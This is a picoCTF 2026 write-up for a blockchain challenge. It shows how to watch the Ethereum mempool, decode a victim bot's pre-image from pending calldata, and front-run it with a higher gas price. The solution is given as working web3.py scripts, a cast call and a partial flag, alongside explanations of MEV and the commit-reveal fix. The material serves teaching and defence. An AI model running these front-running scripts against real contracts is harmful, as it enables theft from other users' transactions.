Skip to main content

Front_Running picoCTF 2026 Solution

Watch the mempool for the victim's pre-image, then resubmit that answer with a higher gas price to mine first.

Published: March 20, 2026Updated: September 20, 2026

Description

A mysterious vault has been discovered on the blockchain. It's programmed to release a secret flag to anyone who can provide the correct pre-image to a specific hash. A Victim Bot has found the answer and is trying to submit it, but they are being very stingy with their gas price. Contract: here

Download and read FrontRunning.sol.
Confirm the contract has a getFlag() (or equivalent) function before scripting:
Set up a Foundry or web3.py environment.
bash
cat FrontRunning.sol
bash
grep -E 'function getFlag|public.*flag|function unlock' FrontRunning.sol

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Monitor the mempool for the victim's transaction
    Observation
    The victim bot submits the correct pre-image at a very low gas price, so its transaction sits in the public mempool long enough to observe and decode before it is mined.
    Compute the function selector locally, watch pending txs for that selector hitting the contract, and ABI-decode the string argument out of the calldata.
    python
    python3 << 'EOF'
    from web3 import Web3
    from eth_utils import keccak
    from eth_abi import decode as abi_decode
    
    w3 = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>"))
    CONTRACT_ADDR = "<CONTRACT_ADDRESS>"
    
    # Compute the selector yourself - don't hard-code:
    UNLOCK_SELECTOR = keccak(b"unlock(string)")[:4].hex()  # 'a96ce7aa'
    print("unlock(string) selector:", UNLOCK_SELECTOR)
    
    pending_filter = w3.eth.filter("pending")
    while True:
        for tx_hash in pending_filter.get_new_entries():
            tx = w3.eth.get_transaction(tx_hash)
            if not tx or not tx["to"] or tx["to"].lower() != CONTRACT_ADDR.lower():
                continue
            calldata = tx["input"].hex().removeprefix("0x")
            if not calldata.startswith(UNLOCK_SELECTOR):
                continue
            # Drop the 4-byte selector and ABI-decode the remaining args
            (pre_image,) = abi_decode(["string"], bytes.fromhex(calldata[8:]))
            print("Victim pre-image:", pre_image, "gasPrice:", tx["gasPrice"])
            break
    EOF
    What didn't work first

    Tried: Using w3.eth.get_block('pending') to find the victim transaction instead of a pending filter

    A pending-block snapshot is one moment in time and misses the transaction entirely if it has not reached your node yet. A pending filter streams hashes as they arrive, so nothing slips past. Polling snapshots from Python is also too slow to reliably beat a mine.

    Tried: Hardcoding the 4-byte selector as a fixed hex string copied from an online Keccak tool

    If the function signature differs even slightly from what you hashed, a capital letter or stray whitespace, the hardcoded selector matches no calldata and the loop runs forever printing nothing. Compute the selector locally from the exact signature in the downloaded source.

    Learn more

    The Ethereum mempool (memory pool) is a waiting area for transactions that have been broadcast to the network but not yet included in a block. Because Ethereum is a public peer-to-peer network, every pending transaction is visible to every node, including its entire calldata (the function arguments being sent to the smart contract). This transparency is by design for a decentralised system, but it creates a privacy and fairness problem.

    A function selector is the first 4 bytes of a transaction's calldata: the Keccak-256 hash of the function's signature truncated to 4 bytes. For unlock(string) the selector is keccak256("unlock(string)")[:4]. By filtering pending transactions that call your contract and match this selector, you can identify the victim's transaction and ABI-decode the string argument (the pre-image) from the remaining calldata bytes.

    In real Ethereum, professional MEV (Maximal Extractable Value) searchers run highly optimised mempool monitoring bots that detect profitable opportunities (arbitrage, liquidations, sandwich attacks) within milliseconds of a transaction appearing. The ecosystem around MEV includes specialised relay networks like Flashbots which allow searchers to submit bundles directly to block builders without broadcasting them publicly, partially mitigating mempool-based attacks.

  2. Step 2Front-run with a higher gas price
    Observation
    That low gas price means builders deprioritize the transaction, leaving a window to submit the same pre-image at a higher price and land first.
    Submit the same pre-image with a strictly higher gas price than the victim. Use a minimal ABI fragment for the unlock function so you don't need the full Solidity build artifacts.
    python
    python3 << 'EOF'
    from web3 import Web3
    from eth_account import Account
    
    w3   = Web3(Web3.HTTPProvider("http://<HOST>:<PORT_FROM_INSTANCE>"))
    acct = Account.from_key("YOUR_PRIVATE_KEY")
    CONTRACT_ADDR = "<CONTRACT_ADDRESS>"
    pre_image = "EXTRACTED_PREIMAGE"
    victim_gas_price = w3.to_wei(1, "gwei")  # whatever the mempool tx had
    
    # Minimal ABI fragment - just the function we want to call.
    ABI = [{
        "type": "function",
        "name": "unlock",
        "stateMutability": "nonpayable",
        "inputs": [{"name": "preImage", "type": "string"}],
        "outputs": [],
    }]
    contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)
    
    tx = contract.functions.unlock(pre_image).build_transaction({
        "from": acct.address,
        "gas": 200_000,
        "gasPrice": victim_gas_price * 2,  # comfortably higher than victim
        "nonce": w3.eth.get_transaction_count(acct.address),
    })
    signed = acct.sign_transaction(tx)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    print("front-run tx:", tx_hash.hex())
    EOF
    What didn't work first

    Tried: Sending the front-run transaction with the same gas price as the victim instead of a strictly higher one

    At identical gas prices, ordering is up to the builder and usually favors whichever arrived first. The victim broadcast before you, so a tie lands you second, the victim unlocks the contract, and getFlag gives you nothing. Any price strictly above theirs sorts you ahead.

    Tried: Calling contract.functions.unlock(pre_image).transact() instead of build_transaction / sign / send_raw_transaction

    transact() only works when web3 has an unlocked account on the node, through an injected provider or a local test chain. Against a remote RPC you hold a raw private key and no unlocked account, so it raises an error about no accounts available. Build the transaction, sign it, and send the raw bytes.

    Learn more

    Front-running is the act of inserting your transaction ahead of a known pending transaction by paying a higher gas price. Ethereum miners (and now validators under Proof-of-Stake) are free to order transactions within a block however they choose; the dominant strategy is to order by gas price descending (highest gas price first) because they earn the gas fees. Paying more gas guarantees your transaction is processed before the victim's lower-gas transaction.

    This is a critical vulnerability in any smart contract that gates access to a secret via a hash pre-image commitment scheme. The contract hashes the submitted string and compares to a stored hash, so anyone who knows the correct string can call it. But because Ethereum is public, the correct string is exposed in the mempool before the block is mined. The contract design is fundamentally broken for secrets: you cannot use Ethereum as a secret-sharing channel without cryptographic commitments or commit-reveal schemes.

    The correct fix is a commit-reveal scheme: in the commit phase, participants submit keccak256(secret || salt || sender_address)(a hash that binds the secret to the sender without revealing it). In the reveal phase (a later block), they submit the actual secret, and the contract verifies the pre-committed hash. Front-runners cannot exploit the reveal because the hash binds the secret to the original sender's address.

  3. Step 3Read the flag
    Observation
    The contract exposes getFlag(), so once your transaction is confirmed first, a read-only call retrieves the flag with no further gas.
    After your transaction is mined before the victim's, call the contract's getFlag() function to retrieve the flag.
    bash
    cast call CONTRACT_ADDR 'getFlag()(string)' --rpc-url http://HOST:PORT

    Expected output

    picoCTF{m3mp00l_h31st_...}
    Learn more

    cast is part of Foundry, the modern Solidity development toolkit. cast call makes a read-only (view) call to a smart contract function: it does not send a transaction or consume gas, and it returns the function's return value. The function signature string 'getFlag()(string)' tells cast both the input type (none) and output type (string) so it can ABI-encode the call and decode the result. Confirm the function actually exists in the source first (grep -E 'function getFlag|public.*flag' FrontRunning.sol) - some challenges name it flag() or store the flag in a public state variable instead, in which case the auto-generated getter has the same name.

    Front-running and other MEV attacks extracted over $1 billion of value from Ethereum users in the years following the DeFi boom. The broader MEV problem (which includes sandwich attacks, back-running, and time-bandit attacks) has driven significant research into solutions including private mempools, fair ordering protocols (like Chainlink's Fair Sequencing Services), and cryptographic techniques (threshold encryption of transaction contents until they are sequenced).

    This challenge is a clean, minimal demonstration of why public blockchains cannot be used as secret-communication channels without additional cryptography. Any value or secret you send in a transaction's calldata is visible to the entire world before it is confirmed. See Smart Contract CTF Bugs for the full taxonomy of EVM-level vulnerabilities.

Interactive tools
  • Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
  • Number Base ConverterConvert numbers between binary, octal, decimal, and hexadecimal instantly. Enter any value and see all four bases update in real time.

Flag

Reveal flag

picoCTF{m3mp00l_h31st_...}

Monitor the mempool for the victim's low-gas transaction, extract the pre-image, and resubmit with higher gas to get mined first.

Key takeaway

The Ethereum mempool is public: every pending transaction and its arguments are visible to all nodes before a block is mined. A contract that takes a secret as a plain function argument is therefore exploitable, because an observer copies the value and resubmits at a higher gas price. The defense is commit-reveal, binding a hash of the secret in one block and revealing the secret only in a later one, which leaves nothing to race.

Related reading

Useful tools for Blockchain

Where to go next